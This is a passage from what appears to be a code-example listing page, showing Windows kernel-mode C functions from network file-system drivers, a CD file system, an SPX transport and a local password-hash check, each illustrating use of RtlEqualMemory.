			if (status != STATUS_SUCCESS) {
				
				if (status == STATUS_UNRECOGNIZED_VOLUME) {

					SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_TRACE,
								   ("PRIM:TREE_CONNECT: Partition is not available\n") );

					ndfsReplyTreeConnectStatus = NDFS_TREE_CONNECT_NO_PARTITION;				
				
				} else {

					ndfsReplyTreeConnectStatus = NDFS_TREE_CONNECT_UNSUCCESSFUL;
				}
			
				break;
			}

			if (FlagOn(netdiskPartition->Flags, NETDISK_PARTITION_FLAG_MOUNT_CORRUPTED)) {

				ndfsReplyTreeConnectStatus = NDFS_TREE_CORRUPTED;

				NetdiskManager_ReturnPrimaryPartition( GlobalLfs.NetdiskManager, 
													   PrimarySession,
													   netdiskPartition, 
													   PrimarySession->IsLocalAddress );
				break;
			}

			if (netdiskPartition->FileSystemType == LFS_FILE_SYSTEM_NTFS && IS_WINDOWSXP_OR_LATER()) {

				getVolumeInformationStatus = 
					GetVolumeInformation( PrimarySession, 
										  &netdiskPartition->NetdiskPartitionInformation.VolumeName );
		
				SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_TRACE,
							   ("PRIM:TREE_CONNECT: getVolumeInformationStatus = %x\n", 
								getVolumeInformationStatus) );

				if (getVolumeInformationStatus != STATUS_SUCCESS) {

					NetdiskManager_ReturnPrimaryPartition( GlobalLfs.NetdiskManager, 
														   PrimarySession,
														   netdiskPartition, 
														   PrimarySession->IsLocalAddress );

					ndfsReplyTreeConnectStatus = NDFS_TREE_CONNECT_UNSUCCESSFUL;				
					break;
				}
			}

			if (PrimarySession->NetdiskPartition) { 

				NetdiskManager_ReturnPrimaryPartition( GlobalLfs.NetdiskManager, 
													   PrimarySession,
													   PrimarySession->NetdiskPartition, 
													   PrimarySession->IsLocalAddress );
			
				PrimarySession->NetdiskPartition = NULL;
			
			} else {

				NDASFS_ASSERT( FALSE );
			}

			PrimarySession->NetdiskPartition = netdiskPartition;

			PrimarySession->SessionContext.Tid  = PrimarySession->NetdiskPartition->Tid;
			ndfsReplyHeader->Tid = PrimarySession->SessionContext.Tid;

			ndfsReplyTreeConnectStatus = NDFS_TREE_CONNECT_SUCCESS;				
		
		} while(0);
		
		ndfsReplyTreeConnect = (PNDFS_REPLY_TREE_CONNECT)(ndfsReplyHeader+1);
		ndfsReplyTreeConnect->Status = ndfsReplyTreeConnectStatus;
		
		ndfsReplyTreeConnect->SessionSlotCount = SESSION_SLOT_COUNT;
		
		ndfsReplyTreeConnect->BytesPerFileRecordSegment	= PrimarySession->Thread.BytesPerFileRecordSegment;
		ndfsReplyTreeConnect->BytesPerSector			= PrimarySession->Thread.BytesPerSector;
		ndfsReplyTreeConnect->BytesPerCluster			= PrimarySession->Thread.BytesPerCluster;

		status = SendMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsReplyHeader,
							 ndfsReplyHeader->MessageSize,
							 NULL,
							 &PrimarySession->Thread.TransportCtx );

		if (status != STATUS_SUCCESS) {
		
			break;
		}

		if (ndfsReplyTreeConnectStatus == NDFS_TREE_CONNECT_SUCCESS) {

			status = PrimarySessionTakeOver( PrimarySession );

			if (status == STATUS_INVALID_DEVICE_REQUEST) {

				PrimarySession->Thread.SessionState = SESSION_TREE_CONNECT;
			
			} else {
				
				SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_INFO,
						   ("PrimarySessionTakeOver: Success PrimarySession = %p status = %x\n", 
						    PrimarySession, status) );

				if (PrimarySession->NetdiskPartition) {

					NetdiskManager_ReturnPrimaryPartition( GlobalLfs.NetdiskManager,
														   PrimarySession,
														   PrimarySession->NetdiskPartition, 
														   PrimarySession->IsLocalAddress );	

					PrimarySession->NetdiskPartition = NULL;
				}
						
				if (status == STATUS_SUCCESS) {

					PrimarySession->ConnectionFileHandle = NULL;
					PrimarySession->ConnectionFileObject = NULL;
					
				} else {

					DisconnectFromSecondary( PrimarySession );
				} 

				SetFlag( PrimarySession->Thread.Flags, PRIMARY_SESSION_THREAD_FLAG_DISCONNECTED );

				PrimarySession->Thread.SessionState = SESSION_CLOSED;
			}
		}

		status = STATUS_SUCCESS;

		break;
	}

	case NDFS_COMMAND_LOGOFF: {

		PNDFS_REQUEST_LOGOFF	ndfsRequestLogoff;
		PNDFS_REPLY_HEADER		ndfsReplyHeader;
		PNDFS_REPLY_LOGOFF		ndfsReplyLogoff;
		

		if(PrimarySession->SessionContext.NdfsMinorVersion == NDFS_PROTOCOL_MINOR_0) {

			if(PrimarySession->Thread.SessionState != SESSION_TREE_CONNECT) {

				ASSERT( LFS_BUG );
				status = STATUS_UNSUCCESSFUL;
				break;
			}
		}

		if (!(ndfsRequestHeader->Uid == PrimarySession->SessionContext.Uid && 
			  ndfsRequestHeader->Tid == PrimarySession->SessionContext.Tid)) {

			ASSERT( LFS_BUG );
			status = STATUS_UNSUCCESSFUL;

			break;
		}
		
		ASSERT( ndfsRequestHeader->MessageSize == sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_REQUEST_LOGOFF) );

		ndfsRequestLogoff = (PNDFS_REQUEST_LOGOFF)(ndfsRequestHeader+1);
		
		status = RecvMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsRequestLogoff,
							 sizeof(NDFS_REQUEST_LOGOFF),
							 NULL );
	
		if (status != STATUS_SUCCESS) {

			//ASSERT( LFS_BUG );

			break;
		}

		ndfsReplyHeader = (PNDFS_REPLY_HEADER)(ndfsRequestLogoff+1);

		RtlCopyMemory( ndfsReplyHeader->Protocol, NDFS_PROTOCOL, sizeof(ndfsReplyHeader->Protocol) );

		ndfsReplyHeader->Status		= NDFS_SUCCESS;
		ndfsReplyHeader->Flags	    = 0;
		ndfsReplyHeader->Uid		= PrimarySession->SessionContext.Uid;
		ndfsReplyHeader->Tid		= 0;
		ndfsReplyHeader->Mid		= 0;
		ndfsReplyHeader->MessageSize = sizeof(NDFS_REPLY_HEADER)+sizeof(NDFS_REPLY_LOGOFF);

		ndfsReplyLogoff = (PNDFS_REPLY_LOGOFF)(ndfsReplyHeader+1);

		if (ndfsRequestLogoff->SessionKey != PrimarySession->SessionContext.SessionKey) {

			ndfsReplyLogoff->Status = NDFS_LOGOFF_UNSUCCESSFUL;
		
		} else {

			ndfsReplyLogoff->Status = NDFS_LOGOFF_SUCCESS;
		}

		status = SendMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsReplyHeader,
							 ndfsReplyHeader->MessageSize,
							 NULL,
							 &PrimarySession->Thread.TransportCtx );

		if (status != STATUS_SUCCESS) {

			break;
		}

		PrimarySession->Thread.SessionState = SESSION_CLOSED;
		LpxTdiV2Disconnect( PrimarySession->ConnectionFileObject, 0 );
		PrimarySession->Thread.Flags |= PRIMARY_SESSION_THREAD_FLAG_DISCONNECTED;

		break;
	}

	case NDFS_COMMAND_EXECUTE: {

		_U16	mid;

		if(PrimarySession->SessionContext.NdfsMinorVersion == NDFS_PROTOCOL_MINOR_0) {

			if (PrimarySession->Thread.SessionState != SESSION_TREE_CONNECT) {

				ASSERT( LFS_BUG );
				status = STATUS_UNSUCCESSFUL;
				break;
			}
		}

		if (!(ndfsRequestHeader->Uid == PrimarySession->SessionContext.Uid && 
			ndfsRequestHeader->Tid == PrimarySession->SessionContext.Tid)) {

			ASSERT( LFS_BUG );
			status = STATUS_UNSUCCESSFUL;

			break;
		}

		mid = ndfsRequestHeader->Mid;

		PrimarySession->Thread.SessionSlot[mid].RequestMessageBufferLength = sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_WINXP_REQUEST_HEADER) + DEFAULT_MAX_DATA_SIZE;
		RtlZeroMemory( &PrimarySession->Thread.SessionSlot[mid].RequestMessageBuffer[sizeof(NDFS_REQUEST_HEADER)], 
					   PrimarySession->Thread.SessionSlot[mid].RequestMessageBufferLength - sizeof(NDFS_REQUEST_HEADER) );

		PrimarySession->Thread.SessionSlot[mid].ReplyMessageBufferLength = sizeof(NDFS_REPLY_HEADER) + sizeof(NDFS_WINXP_REPLY_HEADER) + DEFAULT_MAX_DATA_SIZE;
		RtlZeroMemory( PrimarySession->Thread.SessionSlot[mid].ReplyMessageBuffer, 
					   PrimarySession->Thread.SessionSlot[mid].ReplyMessageBufferLength );

		ASSERT( ndfsRequestHeader->MessageSize >= sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_WINXP_REQUEST_HEADER) );
		status = ReceiveNtfsWinxpMessage(PrimarySession, mid );

		if (status != STATUS_SUCCESS)
			break;

		if (PrimarySession->Thread.SessionSlot[mid].State != SLOT_WAIT) {

			break;
		}
	
		PrimarySession->Thread.SessionSlot[mid].State = SLOT_EXECUTING;
		PrimarySession->Thread.IdleSlotCount --;

		if (PrimarySession->SessionContext.SessionSlotCount == 1) {

			ASSERT( mid == 0 );

			DispatchWinXpRequestWorker( PrimarySession, mid );

			PrimarySession->Thread.SessionSlot[mid].State = SLOT_WAIT;
			PrimarySession->Thread.IdleSlotCount ++;

			if (PrimarySession->Thread.SessionSlot[mid].Status == STATUS_SUCCESS) {

				PNDFS_REPLY_HEADER		ndfsReplyHeader;

				ndfsReplyHeader = (PNDFS_REPLY_HEADER)PrimarySession->Thread.SessionSlot[mid].ReplyMessageBuffer;
										
				PrimarySession->Thread.SessionSlot[mid].Status = 
					SendNdfsWinxpMessage( PrimarySession,
										  ndfsReplyHeader,
										  PrimarySession->Thread.SessionSlot[mid].NdfsWinxpReplyHeader,
										  PrimarySession->Thread.SessionSlot[mid].ReplyDataSize,
										  mid );

			}
	
			if (PrimarySession->Thread.SessionSlot[mid].ExtendWinxpRequestMessagePool) {

				ExFreePool( PrimarySession->Thread.SessionSlot[mid].ExtendWinxpRequestMessagePool );	
				PrimarySession->Thread.SessionSlot[mid].ExtendWinxpRequestMessagePool = NULL;
				PrimarySession->Thread.SessionSlot[mid].ExtendWinxpReplyMessagePoolLength = 0;
			}
		
			if (PrimarySession->Thread.SessionSlot[mid].ExtendWinxpReplyMessagePool) {

				ExFreePool( PrimarySession->Thread.SessionSlot[mid].ExtendWinxpReplyMessagePool );	
				PrimarySession->Thread.SessionSlot[mid].ExtendWinxpReplyMessagePool = NULL;
				PrimarySession->Thread.SessionSlot[mid].ExtendWinxpReplyMessagePoolLength = 0;
			}

			if (PrimarySession->Thread.SessionSlot[mid].Status == STATUS_PENDING)
				NDASFS_ASSERT( FALSE );			
			
			if (PrimarySession->Thread.SessionSlot[mid].Status != STATUS_SUCCESS) {

				SetFlag( PrimarySession->Thread.Flags, PRIMARY_SESSION_THREAD_FLAG_ERROR );
										
				status = PrimarySession->Thread.SessionSlot[mid].Status;
				break;		
			}
				
			status = STATUS_SUCCESS;
			break;
		}

		NDASFS_ASSERT( FALSE );

		if (mid == 0)
			ExInitializeWorkItem( &PrimarySession->Thread.SessionSlot[mid].WorkQueueItem,
								  DispatchWinXpRequestWorker0,
								  PrimarySession );
		
		if (mid == 1)
			ExInitializeWorkItem( &PrimarySession->Thread.SessionSlot[mid].WorkQueueItem,
								  DispatchWinXpRequestWorker1,
								  PrimarySession );
		
		if (mid == 2)
			ExInitializeWorkItem( &PrimarySession->Thread.SessionSlot[mid].WorkQueueItem,
								  DispatchWinXpRequestWorker2,
								  PrimarySession );

		
		if (mid == 3)
			ExInitializeWorkItem( &PrimarySession->Thread.SessionSlot[mid].WorkQueueItem,
								  DispatchWinXpRequestWorker3,
								  PrimarySession );

		ExQueueWorkItem( &PrimarySession->Thread.SessionSlot[mid].WorkQueueItem, DelayedWorkQueue );	

		status = STATUS_PENDING;
		break;
	}

	default:

		ASSERT( LFS_LPX_BUG );
		status = STATUS_UNSUCCESSFUL;
		
		break;
	}

	return status;
}
Esempio n. 25
0
static
NTSTATUS
MsvpCheckPassword(PUNICODE_STRING UserPassword,
                  PSAMPR_USER_INFO_BUFFER UserInfo)
{
    ENCRYPTED_NT_OWF_PASSWORD UserNtPassword;
    ENCRYPTED_LM_OWF_PASSWORD UserLmPassword;
    BOOLEAN UserLmPasswordPresent = FALSE;
    BOOLEAN UserNtPasswordPresent = FALSE;
    OEM_STRING LmPwdString;
    CHAR LmPwdBuffer[15];
    NTSTATUS Status;

    TRACE("(%p %p)\n", UserPassword, UserInfo);

    /* Calculate the LM password and hash for the users password */
    LmPwdString.Length = 15;
    LmPwdString.MaximumLength = 15;
    LmPwdString.Buffer = LmPwdBuffer;
    ZeroMemory(LmPwdString.Buffer, LmPwdString.MaximumLength);

    Status = RtlUpcaseUnicodeStringToOemString(&LmPwdString,
                                               UserPassword,
                                               FALSE);
    if (NT_SUCCESS(Status))
    {
        /* Calculate the LM hash value of the users password */
        Status = SystemFunction006(LmPwdString.Buffer,
                                   (LPSTR)&UserLmPassword);
        if (NT_SUCCESS(Status))
        {
            UserLmPasswordPresent = TRUE;
        }
    }

    /* Calculate the NT hash of the users password */
    Status = SystemFunction007(UserPassword,
                               (LPBYTE)&UserNtPassword);
    if (NT_SUCCESS(Status))
    {
        UserNtPasswordPresent = TRUE;
    }

    Status = STATUS_WRONG_PASSWORD;

    /* Succeed, if no password has been set */
    if (UserInfo->All.NtPasswordPresent == FALSE &&
        UserInfo->All.LmPasswordPresent == FALSE)
    {
        TRACE("No password check!\n");
        Status = STATUS_SUCCESS;
        goto done;
    }

    /* Succeed, if NT password matches */
    if (UserNtPasswordPresent && UserInfo->All.NtPasswordPresent)
    {
        TRACE("Check NT password hashes:\n");
        if (RtlEqualMemory(&UserNtPassword,
                           UserInfo->All.NtOwfPassword.Buffer,
                           sizeof(ENCRYPTED_NT_OWF_PASSWORD)))
        {
            TRACE("  success!\n");
            Status = STATUS_SUCCESS;
            goto done;
        }

        TRACE("  failed!\n");
    }

    /* Succeed, if LM password matches */
    if (UserLmPasswordPresent && UserInfo->All.LmPasswordPresent)
    {
        TRACE("Check LM password hashes:\n");
        if (RtlEqualMemory(&UserLmPassword,
                           UserInfo->All.LmOwfPassword.Buffer,
                           sizeof(ENCRYPTED_LM_OWF_PASSWORD)))
        {
            TRACE("  success!\n");
            Status = STATUS_SUCCESS;
            goto done;
        }
        TRACE("  failed!\n");
    }

done:
    return Status;
}
Esempio n. 26
0
BOOLEAN
CdEnumerateIndex (
    __in PIRP_CONTEXT IrpContext,
    __in PCCB Ccb,
    __inout PFILE_ENUM_CONTEXT FileContext,
    __in BOOLEAN ReturnNextEntry
    )

/*++

Routine Description:

    This routine is the worker routine for index enumeration.  We are positioned
    at some dirent in the directory and will either return the first match
    at that point or look to the next entry.  The Ccb contains details about
    the type of matching to do.  If the user didn't specify a version in
    his search string then we only return the first version of a sequence
    of files with versions.  We also don't return any associated files.

Arguments:

    Ccb - Ccb for this directory handle.

    FileContext - File context already positioned at some entry in the directory.

    ReturnNextEntry - Indicates if we are returning this entry or should start
        with the next entry.

Return Value:

    BOOLEAN - TRUE if next entry is found, FALSE otherwise.

--*/

{
    PDIRENT PreviousDirent = NULL;
    PDIRENT ThisDirent = &FileContext->InitialDirent->Dirent;

    BOOLEAN Found = FALSE;

    PAGED_CODE();

    //
    //  Loop until we find a match or exaust the directory.
    //

    while (TRUE) {

        //
        //  Move to the next entry unless we want to consider the current
        //  entry.
        //

        if (ReturnNextEntry) {

            if (!CdLookupNextInitialFileDirent( IrpContext, Ccb->Fcb, FileContext )) {

                break;
            }

            PreviousDirent = ThisDirent;
            ThisDirent = &FileContext->InitialDirent->Dirent;

            CdUpdateDirentName( IrpContext, ThisDirent, FlagOn( Ccb->Flags, CCB_FLAG_IGNORE_CASE ));
        
        } else {

            ReturnNextEntry = TRUE;
        }

        //
        //  Don't bother if we have a constant entry and are ignoring them.
        //
        
        if (FlagOn( ThisDirent->Flags, DIRENT_FLAG_CONSTANT_ENTRY ) &&
            FlagOn( Ccb->Flags, CCB_FLAG_ENUM_NOMATCH_CONSTANT_ENTRY )) {

            continue;
        }

        //
        //  Look at the current entry if it is not an associated file
        //  and the name doesn't match the previous file if the version
        //  name is not part of the search.
        //

        if (!FlagOn( ThisDirent->DirentFlags, CD_ATTRIBUTE_ASSOC )) {

            //
            //  Check if this entry matches the previous entry except
            //  for version number and whether we should return the
            //  entry in that case.  Go directly to the name comparison
            //  if:
            //
            //      There is no previous entry.
            //      The search expression has a version component.
            //      The name length doesn't match the length of the previous entry.
            //      The base name strings don't match.
            //

            if ((PreviousDirent == NULL) ||
                (Ccb->SearchExpression.VersionString.Length != 0) ||
                (PreviousDirent->CdCaseFileName.FileName.Length != ThisDirent->CdCaseFileName.FileName.Length) ||
                FlagOn( PreviousDirent->DirentFlags, CD_ATTRIBUTE_ASSOC ) ||
                !RtlEqualMemory( PreviousDirent->CdCaseFileName.FileName.Buffer,
                                 ThisDirent->CdCaseFileName.FileName.Buffer,
                                 ThisDirent->CdCaseFileName.FileName.Length )) {

                //
                //  If we match all names then return to our caller.
                //

                if (FlagOn( Ccb->Flags, CCB_FLAG_ENUM_MATCH_ALL )) {

                    FileContext->ShortName.FileName.Length = 0;
                    Found = TRUE;
                    break;
                }

                //
                //  Check if the long name matches the search expression.
                //

                if (CdIsNameInExpression( IrpContext,
                                          &ThisDirent->CdCaseFileName,
                                          &Ccb->SearchExpression,
                                          Ccb->Flags,
                                          TRUE )) {

                    //
                    //  Let our caller know we found an entry.
                    //

                    Found = TRUE;
                    FileContext->ShortName.FileName.Length = 0;
                    break;
                }

                //
                //  The long name didn't match so we need to check for a
                //  possible short name match.  There is no match if the
                //  long name is 8dot3 or the search expression has a
                //  version component.  Special case the self and parent
                //  entries.
                //

                if ((Ccb->SearchExpression.VersionString.Length == 0) &&
                    !FlagOn( ThisDirent->Flags, DIRENT_FLAG_CONSTANT_ENTRY ) &&
                    !CdIs8dot3Name( IrpContext,
                                    ThisDirent->CdFileName.FileName )) {

                    CdGenerate8dot3Name( IrpContext,
                                         &ThisDirent->CdCaseFileName.FileName,
                                         ThisDirent->DirentOffset,
                                         FileContext->ShortName.FileName.Buffer,
                                         &FileContext->ShortName.FileName.Length );

                    //
                    //  Check if this name matches.
                    //

                    if (CdIsNameInExpression( IrpContext,
                                              &FileContext->ShortName,
                                              &Ccb->SearchExpression,
                                              Ccb->Flags,
                                              FALSE )) {

                        //
                        //  Let our caller know we found an entry.
                        //

                        Found = TRUE;
                        break;
                    }
                }
            }
        }
    }

    //
    //  If we found the entry then make sure we walk through all of the
    //  file dirents.
    //

    if (Found) {

        CdLookupLastFileDirent( IrpContext, Ccb->Fcb, FileContext );
    }

    return Found;
}
Esempio n. 27
0
VOID
SpxLineUp (
    IN USHORT           NicId,
    IN PIPX_LINE_INFO   LineInfo,
    IN NDIS_MEDIUM 		DeviceType,
    IN PVOID            ConfigurationData
    )

{
    // With PnP, our local address is changed when we get PnP
    // notification.
#if      !defined(_PNP_POWER)

    //
    // If we get a line up for NicId 0, it means our local
    // network number has changed, re-query from IPX.
    //

    if (NicId == 0) {

        TDI_ADDRESS_IPX IpxAddress;

        if ((*IpxQuery)(
                  IPX_QUERY_IPX_ADDRESS,
                  0,
                  &IpxAddress,
                  sizeof(TDI_ADDRESS_IPX),
                  NULL) == STATUS_SUCCESS) {

            RtlCopyMemory(
                SpxDevice->dev_Network,
                &IpxAddress.NetworkAddress,
                IPX_NET_LEN);

    		DBGPRINT(TDI, INFO,
    				("SpxLineUp: Ipx Net %lx\n",
    					*(UNALIGNED ULONG *)SpxDevice->dev_Network));

            //
            // The node shouldn't change!
            //

            if (!RtlEqualMemory(
                SpxDevice->dev_Node,
                IpxAddress.NodeAddress,
                IPX_NODE_LEN)) {

            	DBGPRINT(TDI, ERR,
            			("SpxLineUp: Node address has changed\n"));
            }
        }

    } else {

    	DBGPRINT(RECEIVE, ERR,
    			("SpxLineUp: CALLED WITH %lx\n",
    				NicId));
    }

    return;
#endif  !_PNP_POWER

}
Esempio n. 28
0
NTSTATUS
NdasFatSecondaryQueryDirectory (
    IN PIRP_CONTEXT IrpContext,
    IN PIRP Irp
    )

/*++

Routine Description:

    This routine performs the query directory operation.  It is responsible
    for either completing of enqueuing the input Irp.

Arguments:

    Irp - Supplies the Irp to process

Return Value:

    NTSTATUS - The return status for the operation

--*/

{
    NTSTATUS Status;
    PIO_STACK_LOCATION IrpSp;

    PVCB Vcb;
    PDCB Dcb;
    PCCB Ccb;
    PBCB Bcb;

    ULONG i;
    PUCHAR Buffer;
    CLONG UserBufferLength;

    PUNICODE_STRING UniArgFileName;
    WCHAR LongFileNameBuffer[ FAT_CREATE_INITIAL_NAME_BUF_SIZE];
    UNICODE_STRING LongFileName;
    FILE_INFORMATION_CLASS FileInformationClass;
    ULONG FileIndex;
    BOOLEAN RestartScan;
    BOOLEAN ReturnSingleEntry;
    BOOLEAN IndexSpecified;

    BOOLEAN InitialQuery;
    VBO CurrentVbo;
    BOOLEAN UpdateCcb;
    PDIRENT Dirent;
    UCHAR Fat8Dot3Buffer[12];
    OEM_STRING Fat8Dot3String;
    ULONG DiskAllocSize;

    ULONG NextEntry;
    ULONG LastEntry;

    PFILE_DIRECTORY_INFORMATION DirInfo;
    PFILE_FULL_DIR_INFORMATION FullDirInfo;
    PFILE_BOTH_DIR_INFORMATION BothDirInfo;
    PFILE_ID_FULL_DIR_INFORMATION IdFullDirInfo;
    PFILE_ID_BOTH_DIR_INFORMATION IdBothDirInfo;
    PFILE_NAMES_INFORMATION NamesInfo;

#if 1

	PVOLUME_DEVICE_OBJECT		volDo;
	BOOLEAN						secondarySessionResourceAcquired = FALSE;

	PSECONDARY_REQUEST			secondaryRequest = NULL;

	PNDFS_REQUEST_HEADER		ndfsRequestHeader;
	PNDFS_WINXP_REQUEST_HEADER	ndfsWinxpRequestHeader;
	PNDFS_WINXP_REPLY_HEADER	ndfsWinxpReplytHeader;
	_U8							*ndfsWinxpRequestData;

	LARGE_INTEGER				timeOut;

	struct QueryDirectory		queryDirectory;
	PVOID						inputBuffer;
	ULONG						inputBufferLength;

	ULONG						returnedDataSize;

#endif

    PAGED_CODE();

    //
    //  Get the current Stack location
    //

    IrpSp = IoGetCurrentIrpStackLocation( Irp );

    //
    //  Display the input values.
    //
    DebugTrace(+1, Dbg, "FatQueryDirectory...\n", 0);
    DebugTrace( 0, Dbg, " Wait                   = %08lx\n", FlagOn(IrpContext->Flags, IRP_CONTEXT_FLAG_WAIT));
    DebugTrace( 0, Dbg, " Irp                    = %08lx\n", Irp);
    DebugTrace( 0, Dbg, " ->Length               = %08lx\n", IrpSp->Parameters.QueryDirectory.Length);
    DebugTrace( 0, Dbg, " ->FileName             = %08lx\n", IrpSp->Parameters.QueryDirectory.FileName);
    DebugTrace( 0, Dbg, " ->FileInformationClass = %08lx\n", IrpSp->Parameters.QueryDirectory.FileInformationClass);
    DebugTrace( 0, Dbg, " ->FileIndex            = %08lx\n", IrpSp->Parameters.QueryDirectory.FileIndex);
    DebugTrace( 0, Dbg, " ->UserBuffer           = %08lx\n", Irp->AssociatedIrp.SystemBuffer);
    DebugTrace( 0, Dbg, " ->RestartScan          = %08lx\n", FlagOn( IrpSp->Flags, SL_RESTART_SCAN ));
    DebugTrace( 0, Dbg, " ->ReturnSingleEntry    = %08lx\n", FlagOn( IrpSp->Flags, SL_RETURN_SINGLE_ENTRY ));
    DebugTrace( 0, Dbg, " ->IndexSpecified       = %08lx\n", FlagOn( IrpSp->Flags, SL_INDEX_SPECIFIED ));

    //
    //  Reference our input parameters to make things easier
    //

    UserBufferLength = IrpSp->Parameters.QueryDirectory.Length;

    FileInformationClass = IrpSp->Parameters.QueryDirectory.FileInformationClass;
    FileIndex = IrpSp->Parameters.QueryDirectory.FileIndex;

    UniArgFileName = (PUNICODE_STRING) IrpSp->Parameters.QueryDirectory.FileName;

    RestartScan       = BooleanFlagOn(IrpSp->Flags, SL_RESTART_SCAN);
    ReturnSingleEntry = BooleanFlagOn(IrpSp->Flags, SL_RETURN_SINGLE_ENTRY);
    IndexSpecified    = BooleanFlagOn(IrpSp->Flags, SL_INDEX_SPECIFIED);

    //
    //  Check on the type of open.  We return invalid parameter for all
    //  but UserDirectoryOpens.  Also check that the filename is a valid
    //  UNICODE string.
    //
    
    if (FatDecodeFileObject( IrpSp->FileObject,
                             &Vcb,
                             &Dcb,
                             &Ccb) != UserDirectoryOpen ||
        (UniArgFileName &&
         UniArgFileName->Length % sizeof(WCHAR))) {

        FatCompleteRequest( IrpContext, Irp, STATUS_INVALID_PARAMETER );
        DebugTrace(-1, Dbg, "FatQueryDirectory -> STATUS_INVALID_PARAMETER\n", 0);

        return STATUS_INVALID_PARAMETER;
    }

#if 1

	 if (FlagOn(Ccb->NdasFatFlags, ND_FAT_CCB_FLAG_UNOPENED)) {

		 ASSERT( FlagOn(Ccb->NdasFatFlags, ND_FAT_CCB_FLAG_CORRUPTED) );

		 FatCompleteRequest( IrpContext, Irp, STATUS_FILE_CORRUPT_ERROR );

		 DebugTrace2( -1, Dbg, ("NtfsCommonDirectoryControl -> STATUS_FILE_CORRUPT_ERROR\n") );
		 return STATUS_FILE_CORRUPT_ERROR;
	 }

#endif


    //
    //  Initialize the local variables.
    //

    Bcb = NULL;
    UpdateCcb = TRUE;
    Dirent = NULL;

    Fat8Dot3String.MaximumLength = 12;
    Fat8Dot3String.Buffer = Fat8Dot3Buffer;

    LongFileName.Length = 0;
    LongFileName.MaximumLength = sizeof( LongFileNameBuffer);
    LongFileName.Buffer = LongFileNameBuffer;

    InitialQuery = (BOOLEAN)((Ccb->UnicodeQueryTemplate.Buffer == NULL) &&
                             !FlagOn(Ccb->Flags, CCB_FLAG_MATCH_ALL));
    Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    DiskAllocSize = 1 << Vcb->AllocationSupport.LogOfBytesPerCluster;

    //
    //  If this is the initial query, then grab exclusive access in
    //  order to update the search string in the Ccb.  We may
    //  discover that we are not the initial query once we grab the Fcb
    //  and downgrade our status.
    //

    if (InitialQuery) {

        if (!FatAcquireExclusiveFcb( IrpContext, Dcb )) {

            DebugTrace(0, Dbg, "FatQueryDirectory -> Enqueue to Fsp\n", 0);
            Status = FatFsdPostRequest( IrpContext, Irp );
            DebugTrace(-1, Dbg, "FatQueryDirectory -> %08lx\n", Status);

            return Status;
        }

        if (Ccb->UnicodeQueryTemplate.Buffer != NULL) {

            InitialQuery = FALSE;

            FatConvertToSharedFcb( IrpContext, Dcb );
        }

    } else {

        if (!FatAcquireSharedFcb( IrpContext, Dcb )) {

            DebugTrace(0, Dbg, "FatQueryDirectory -> Enqueue to Fsp\n", 0);
            Status = FatFsdPostRequest( IrpContext, Irp );
            DebugTrace(-1, Dbg, "FatQueryDirectory -> %08lx\n", Status);

            return Status;

        }
    }

    try {

        ULONG BaseLength;
        ULONG BytesConverted;

        //
        // If we are in the Fsp now because we had to wait earlier,
        // we must map the user buffer, otherwise we can use the
        // user's buffer directly.
        //

        Buffer = FatMapUserBuffer( IrpContext, Irp );

#if 1

		volDo = CONTAINING_RECORD( Vcb, VOLUME_DEVICE_OBJECT, Vcb );

		secondarySessionResourceAcquired 
			= SecondaryAcquireResourceExclusiveLite( IrpContext, 
													 &volDo->SessionResource, 
													 BooleanFlagOn(IrpContext->Flags, IRP_CONTEXT_FLAG_WAIT) );

		
		if (FlagOn(volDo->Secondary->Thread.Flags, SECONDARY_THREAD_FLAG_REMOTE_DISCONNECTED)) {

			NDASFAT_ASSERT( FlagOn(IrpContext->Flags, IRP_CONTEXT_FLAG_WAIT) );
			SetFlag( IrpContext->NdasFatFlags, NDAS_FAT_IRP_CONTEXT_FLAG_DONT_POST_REQUEST );
			FatRaiseStatus( IrpContext, STATUS_CANT_WAIT );
		}

		queryDirectory.FileIndex			= IrpSp->Parameters.QueryDirectory.FileIndex;
		queryDirectory.FileInformationClass = IrpSp->Parameters.QueryDirectory.FileInformationClass;
		queryDirectory.FileName				= IrpSp->Parameters.QueryDirectory.FileName;
		queryDirectory.Length				= IrpSp->Parameters.QueryDirectory.Length;

		inputBuffer			= (queryDirectory.FileName) ? (queryDirectory.FileName->Buffer) : NULL;
		inputBufferLength	= (queryDirectory.FileName) ? (queryDirectory.FileName->Length) : 0;

		if (queryDirectory.FileName) {

			DebugTrace2( 0, Dbg, ("NdNtfsSecondaryQueryDirectory: queryFileName = %wZ\n", queryDirectory.FileName) );
		}

		ASSERT( inputBufferLength <= volDo->Secondary->Thread.SessionContext.PrimaryMaxDataSize );
		ASSERT( UserBufferLength <= volDo->Secondary->Thread.SessionContext.SecondaryMaxDataSize );

		secondaryRequest = AllocateWinxpSecondaryRequest( volDo->Secondary, 
														  IRP_MJ_DIRECTORY_CONTROL,
														  ((inputBufferLength > UserBufferLength) ? inputBufferLength : UserBufferLength) );

		if (secondaryRequest == NULL) {

			try_return( Status = STATUS_INSUFFICIENT_RESOURCES );
		}

		ndfsRequestHeader = &secondaryRequest->NdfsRequestHeader;
		INITIALIZE_NDFS_REQUEST_HEADER(	ndfsRequestHeader, 
										NDFS_COMMAND_EXECUTE, 
										volDo->Secondary, 
										IRP_MJ_DIRECTORY_CONTROL, 
										inputBufferLength );

		ndfsWinxpRequestHeader = (PNDFS_WINXP_REQUEST_HEADER)(ndfsRequestHeader+1);
		ASSERT( ndfsWinxpRequestHeader == (PNDFS_WINXP_REQUEST_HEADER)secondaryRequest->NdfsRequestData );
		INITIALIZE_NDFS_WINXP_REQUEST_HEADER( ndfsWinxpRequestHeader, Irp, IrpSp, Ccb->PrimaryFileHandle );

		ndfsWinxpRequestHeader->QueryDirectory.Length				= UserBufferLength;
		ndfsWinxpRequestHeader->QueryDirectory.FileInformationClass	= queryDirectory.FileInformationClass;
		ndfsWinxpRequestHeader->QueryDirectory.FileIndex			= queryDirectory.FileIndex;

		ndfsWinxpRequestData = (_U8 *)(ndfsWinxpRequestHeader+1);
		if (inputBufferLength)
			RtlCopyMemory( ndfsWinxpRequestData, inputBuffer, inputBufferLength );
